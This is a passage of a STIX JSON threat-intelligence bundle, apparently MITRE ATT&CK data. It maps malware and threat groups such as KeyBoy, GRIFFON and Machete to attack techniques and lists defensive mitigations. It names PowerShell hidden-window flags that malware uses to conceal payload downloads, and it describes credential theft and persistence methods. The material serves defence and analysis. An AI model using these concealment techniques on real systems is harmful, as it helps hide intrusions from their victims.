            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used <code>-W Hidden</code> to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows by setting the WindowStyle parameter to hidden. (Citation: Unit 42 Gorgon Group Aug 2018)",
            "relationship_type": "uses",
            "id": "relationship--85a1a7f3-bdcc-4473-ba3c-46d6946d6996",
            "type": "relationship",
            "modified": "2021-02-09T13:53:25.278Z",
            "created": "2019-10-11T03:22:46.389Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "source_name": "PWC KeyBoys Feb 2017",
                    "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html",
                    "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019."
                }
            ],
            "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses <code>-w Hidden</code> to conceal a [PowerShell](https://attack.mitre.org/techniques/T1059/001) window that downloads a payload. (Citation: PWC KeyBoys Feb 2017)",
            "relationship_type": "uses",
            "id": "relationship--527e03b3-5b14-4a6c-ab05-0e18bac0357d",
            "type": "relationship",
            "modified": "2021-02-09T14:04:15.777Z",
            "created": "2019-10-11T03:32:15.674Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                }
            ],
            "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) uses <code>-windowstyle hidden</code> to conceal a [PowerShell](https://attack.mitre.org/techniques/T1059/001) window that downloads a payload.(Citation: FireEye APT34 Dec 2017)",
            "relationship_type": "uses",
            "id": "relationship--5c9bea96-819a-4a39-9814-62f3473530a4",
            "type": "relationship",
            "modified": "2021-02-09T14:06:12.832Z",
            "created": "2019-10-11T04:02:42.292Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6",
            "relationship_type": "mitigates",
            "description": "Implement network-based filtering restrictions to prohibit data transfers to untrusted VPCs.",
            "id": "relationship--a5b61b67-8d99-4bc5-86d0-00739f0be666",
            "type": "relationship",
            "modified": "2020-03-29T23:43:44.362Z",
            "created": "2019-10-11T15:46:13.715Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--56d10a7f-bb42-4267-9b4c-63abb9c06010",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "FireEye FIN7 Oct 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html",
                    "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019."
                }
            ],
            "description": "[BOOSTWRITE](https://attack.mitre.org/software/S0415) has used a a 32-byte long multi-XOR key to decode data inside its payload.(Citation: FireEye FIN7 Oct 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--07bbfaa8-c62f-4abc-845c-55b28434d058",
            "type": "relationship",
            "modified": "2019-10-11T16:04:32.102Z",
            "created": "2019-10-11T16:04:32.102Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--56d10a7f-bb42-4267-9b4c-63abb9c06010",
            "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
            "external_references": [
                {
                    "source_name": "FireEye FIN7 Oct 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html",
                    "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019."
                }
            ],
            "description": "[BOOSTWRITE](https://attack.mitre.org/software/S0415) has used the DWriteCreateFactory() function to load additional modules.(Citation: FireEye FIN7 Oct 2019)",
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            "id": "relationship--db3b37f1-9c85-4e52-bbd7-4b71ad68400d",
            "type": "relationship",
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            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
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                }
            ],
            "description": "[BOOSTWRITE](https://attack.mitre.org/software/S0415) has been signed by a valid CA.(Citation: FireEye FIN7 Oct 2019)",
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                }
            ],
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                }
            ],
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            ],
            "description": "[RDFSNIFFER](https://attack.mitre.org/software/S0416) has used several Win32 API functions to interact with the victim machine.(Citation: FireEye FIN7 Oct 2019)",
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            ],
            "description": "[RDFSNIFFER](https://attack.mitre.org/software/S0416) has the capability of deleting local files.(Citation: FireEye FIN7 Oct 2019)",
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                    "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019."
                }
            ],
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                    "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019."
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            ],
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            "id": "relationship--3ce0fee3-3ad5-49b9-8213-871484674d93",
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            ],
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                    "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019."
                }
            ],
            "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used a persistence module that stores the implant inside the Registry, which executes at logon.(Citation: SecureList Griffon May 2019)",
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            "id": "relationship--bdbd9cce-7d32-4e87-8036-3e602a3783b9",
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                    "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019."
                }
            ],
            "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used a screenshot module that can be used to take a screenshot of the remote system.(Citation: SecureList Griffon May 2019)",
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            ],
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                    "source_name": "SecureList Griffon May 2019",
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                    "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019."
                }
            ],
            "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used <code>sctasks</code> for persistence. (Citation: SecureList Griffon May 2019)",
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                    "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019."
                }
            ],
            "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used a reconnaissance module that can be used to retrieve Windows domain membership information.(Citation: SecureList Griffon May 2019)",
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                    "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019."
                }
            ],
            "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used a reconnaissance module that can be used to retrieve information about a victim's computer, including the resolution of the workstation .(Citation: SecureList Griffon May 2019)",
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                    "source_name": "SecureList Griffon May 2019"
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            ],
            "description": "(Citation: SecureList Griffon May 2019)",
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            "external_references": [
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
                }
            ],
            "type": "relationship",
            "modified": "2020-09-14T19:48:07.199Z",
            "created": "2019-10-11T17:48:31.883Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.",
                    "source_name": "FireEye APT29"
                }
            ],
            "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) has used <code>-WindowStyle hidden</code> to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows.(Citation: FireEye APT29)",
            "relationship_type": "uses",
            "id": "relationship--3877277b-ae7c-4cb8-b564-3263b235c1e7",
            "type": "relationship",
            "modified": "2021-02-09T13:58:23.904Z",
            "created": "2019-10-11T19:07:42.330Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--e49920b0-6c54-40c1-9571-73723653205f",
            "relationship_type": "mitigates",
            "description": "Enforce the principle of least-privilege by limiting dashboard visibility to only the resources required. This may limit the discovery value of the dashboard in the event of a compromised account.",
            "id": "relationship--ba2b1689-b46c-4451-9618-1c1669a0da0c",
            "type": "relationship",
            "modified": "2021-03-16T12:56:36.221Z",
            "created": "2019-10-11T20:39:32.568Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.",
                    "url": "https://www.bromium.com/how-ursnif-evades-detection/",
                    "source_name": "Bromium Ursnif Mar 2017"
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) droppers have used COM properties to execute malware in hidden windows.(Citation: Bromium Ursnif Mar 2017)",
            "relationship_type": "uses",
            "id": "relationship--fcd9b8a1-60c0-4d6b-9742-77f9104f8e56",
            "type": "relationship",
            "modified": "2019-10-14T15:48:05.429Z",
            "created": "2019-10-14T15:48:05.429Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff",
            "relationship_type": "mitigates",
            "description": "A physical second factor key that uses the target login domain as part of the negotiation protocol will prevent session cookie theft through proxy methods.(Citation: Evilginx 2 July 2018)",
            "id": "relationship--7a1cf82e-68e5-49ca-89ae-e492cd85dab4",
            "external_references": [
                {
                    "source_name": "Evilginx 2 July 2018",
                    "url": "https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens/",
                    "description": "Gretzky, K.. (2018, July 26). Evilginx 2 - Next Generation of Phishing 2FA Tokens. Retrieved October 14, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2021-04-14T17:57:08.071Z",
            "created": "2019-10-14T16:25:38.680Z"
        },
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            "relationship_type": "mitigates",
            "description": "Configure browsers or tasks to regularly delete persistent cookies.",
            "id": "relationship--248a0d72-d9cd-43d3-985f-a33a49a79e8b",
            "type": "relationship",
            "modified": "2021-04-14T17:57:08.062Z",
            "created": "2019-10-14T16:25:38.693Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff",
            "relationship_type": "mitigates",
            "description": "Train users to identify aspects of phishing attempts where they're asked to enter credentials into a site that has the incorrect domain for the application they are logging into.",
            "id": "relationship--f780f9d8-1baa-41b7-b7a1-acba717df0ab",
            "type": "relationship",
            "modified": "2021-04-14T17:57:08.080Z",
            "created": "2019-10-14T16:25:38.695Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
            "target_ref": "attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5",
            "relationship_type": "mitigates",
            "description": "Configure browsers or tasks to regularly delete persistent cookies.",
            "id": "relationship--54ef3817-2d1e-40dd-ac7d-41ffb1da3ecd",
            "type": "relationship",
            "modified": "2020-01-30T19:59:18.925Z",
            "created": "2019-10-14T16:44:31.042Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "external_references": [
                {
                    "source_name": "FinFisher Citation",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "url": "http://www.finfisher.com/FinFisher/index.html"
                },
                {
                    "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.",
                    "source_name": "Securelist BlackOasis Oct 2017"
                }
            ],
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) probes the system to check for antimalware processes.(Citation: FinFisher Citation)(Citation: Securelist BlackOasis Oct 2017)",
            "relationship_type": "uses",
            "id": "relationship--d9b8e0cf-8906-45a4-8dd2-5ef9971e1a6d",
            "type": "relationship",
            "modified": "2019-12-20T14:32:13.567Z",
            "created": "2019-10-15T20:02:39.741Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "external_references": [
                {
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "source_name": "ESET Machete July 2019"
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) has been packed with NSIS.(Citation: ESET Machete July 2019) ",
            "relationship_type": "uses",
            "id": "relationship--29dcecc6-83ea-4e82-b368-b54812157b41",
            "type": "relationship",
            "modified": "2019-10-15T21:15:20.164Z",
            "created": "2019-10-15T21:08:31.593Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "external_references": [
                {
                    "source_name": "ESET Machete July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                },
                {
                    "source_name": "Securelist Machete Aug 2014",
                    "url": "https://securelist.com/el-machete/66108/",
                    "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."
                },
                {
                    "source_name": "360 Machete Sep 2020",
                    "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/",
                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) is written in Python and is used in conjunction with additional Python scripts.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020)",
            "relationship_type": "uses",
            "id": "relationship--cb58db80-48e9-4138-9ce4-bd726a3d1745",
            "type": "relationship",
            "modified": "2020-11-23T22:25:18.711Z",
            "created": "2019-10-15T21:15:19.842Z"
        },
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            ],
            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "source_name": "ESET Machete July 2019"
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) collects stored credentials from several web browsers.(Citation: ESET Machete July 2019) ",
            "relationship_type": "uses",
            "id": "relationship--48a5f18e-d744-4600-8489-18533cadb0c0",
            "type": "relationship",
            "modified": "2019-10-15T21:15:19.857Z",
            "created": "2019-10-15T21:15:19.857Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7",
            "external_references": [
                {
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "source_name": "ESET Machete July 2019"
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) retrieves the user profile data (e.g., browsers) from Chrome and Firefox browsers.(Citation: ESET Machete July 2019) ",
            "relationship_type": "uses",
            "id": "relationship--334ae43c-2c0b-4a7a-aab5-6ff59005dbf5",
            "type": "relationship",
            "modified": "2019-10-15T21:19:28.149Z",
            "created": "2019-10-15T21:19:28.149Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "source_name": "Cylance Machete Mar 2017"
                },
                {
                    "source_name": "Securelist Machete Aug 2014",
                    "url": "https://securelist.com/el-machete/66108/",
                    "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."
                },
                {
                    "source_name": "ESET Machete July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                },
                {
                    "source_name": "360 Machete Sep 2020",
                    "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/",
                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/groups/G0095) has has relied on users opening malicious attachments delivered through spearphishing to execute malware.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)",
            "relationship_type": "uses",
            "id": "relationship--0f880e99-efaa-4e85-91c3-cac3d81d6b9a",
            "type": "relationship",
            "modified": "2020-11-23T22:19:46.936Z",
            "created": "2019-10-15T22:28:40.394Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312",
            "target_ref": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f",
            "relationship_type": "mitigates",
            "description": "Several cloud service providers support content trust models that require container images be signed by trusted sources.(Citation: Content trust in Azure Container Registry)(Citation: Content trust in Docker)",
            "id": "relationship--24e20a3c-5f74-40bc-a5b0-108bc0233305",
            "external_references": [
                {
                    "source_name": "Content trust in Azure Container Registry",
                    "url": "https://docs.microsoft.com/en-us/azure/container-registry/container-registry-content-trust",
                    "description": "Microsoft. (2019, September 5). Content trust in Azure Container Registry. Retrieved October 16, 2019."
                },
                {
                    "source_name": "Content trust in Docker",
                    "url": "https://docs.docker.com/engine/security/trust/content_trust/",
                    "description": "Docker. (2019, October 10). Content trust in Docker. Retrieved October 16, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2021-04-12T18:28:28.140Z",
            "created": "2019-10-16T20:44:09.399Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7",
            "relationship_type": "mitigates",
            "description": "Cloud service providers support IP-based restrictions when accessing cloud resources. Consider using IP allowlisting along with user account management to ensure that data access is restricted not only to valid users but only from expected IP ranges to mitigate the use of stolen credentials to access data.",
            "id": "relationship--cf63b75f-564f-4713-a5b3-1f102d098e8e",
            "type": "relationship",
            "modified": "2020-07-09T14:02:05.452Z",
            "created": "2019-10-17T19:25:21.088Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6",
            "relationship_type": "mitigates",
            "description": "Consider rotating access keys within a certain number of days to reduce the effectiveness of stolen credentials.",
            "id": "relationship--25b225e4-2365-4c00-8a27-f578a7fd94c8",
            "type": "relationship",
            "modified": "2020-03-29T23:43:44.388Z",
            "created": "2019-10-23T14:26:33.079Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
            "target_ref": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a",
            "relationship_type": "mitigates",
            "description": "Create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation.(Citation: Palo Alto Office Test Sofacy)",
            "id": "relationship--375f4ab4-542f-42f6-9577-f66a6e20f9ca",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/",
                    "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
                    "source_name": "Palo Alto Office Test Sofacy"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-20T15:27:51.715Z",
            "created": "2019-11-07T19:44:04.845Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b",
            "target_ref": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44",
            "relationship_type": "mitigates",
            "description": "For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)",
            "id": "relationship--95313794-3eae-4cc3-89aa-4ad0d6d65572",
            "external_references": [
                {
                    "source_name": "SensePost Outlook Forms",
                    "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/",
                    "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."
                },
                {
                    "source_name": "SensePost Outlook Home Page",
                    "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/",
                    "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019."
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                    "source_name": "MRWLabs Office Persistence Add-ins"
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                    "description": "Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.",
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                    "url": "https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems",
                    "description": "Carvey, H.. (2014, September). Where You AT?: Indicators of Lateral Movement Using at.exe on Windows 7 Systems. Retrieved November 27, 2019."
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            "description": "Scheduled tasks using <code>[at](https://attack.mitre.org/software/S0110)</code> can be audited locally, or through centrally collected logging, using syslog, or auditd events from the host. (Citation: Kifarunix - Task Scheduling in Linux)",
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                    "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/",
                    "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019."
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                    "source_name": "Intel Hardware-based Security Technologies",
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                }
            ],
            "description": "[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.(Citation: TrendMicro Hacking Team UEFI) ",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf",
                    "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."
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                    "url": "http://www.symantec.com/connect/blogs/bios-threat-showing-again",
                    "description": "Ge, L. (2011, September 9). BIOS Threat is Showing up Again!. Retrieved November 14, 2014.",
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
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            "id": "relationship--53c22ca9-b02f-4a45-adc6-cf7763a2c6a9",
            "type": "relationship",
            "modified": "2020-05-04T19:18:36.540Z",
            "created": "2020-01-19T16:54:28.868Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306",
            "relationship_type": "mitigates",
            "description": "Use multi-factor authentication for user and privileged accounts.",
            "id": "relationship--e65ad45a-4862-4455-8d3c-454eb78deaeb",
            "type": "relationship",
            "modified": "2020-05-04T19:18:36.561Z",
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        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306",
            "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "relationship_type": "subtechnique-of",
            "id": "relationship--6e743193-6a74-422a-bdea-c0d4abbf9ad9",
            "type": "relationship",
            "modified": "2020-01-19T16:54:28.884Z",
            "created": "2020-01-19T16:54:28.884Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
            "relationship_type": "mitigates",
            "description": "Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
            "id": "relationship--2606e684-b69d-47fc-822f-279d197a1e7a",
            "type": "relationship",
            "modified": "2020-03-24T12:40:02.434Z",
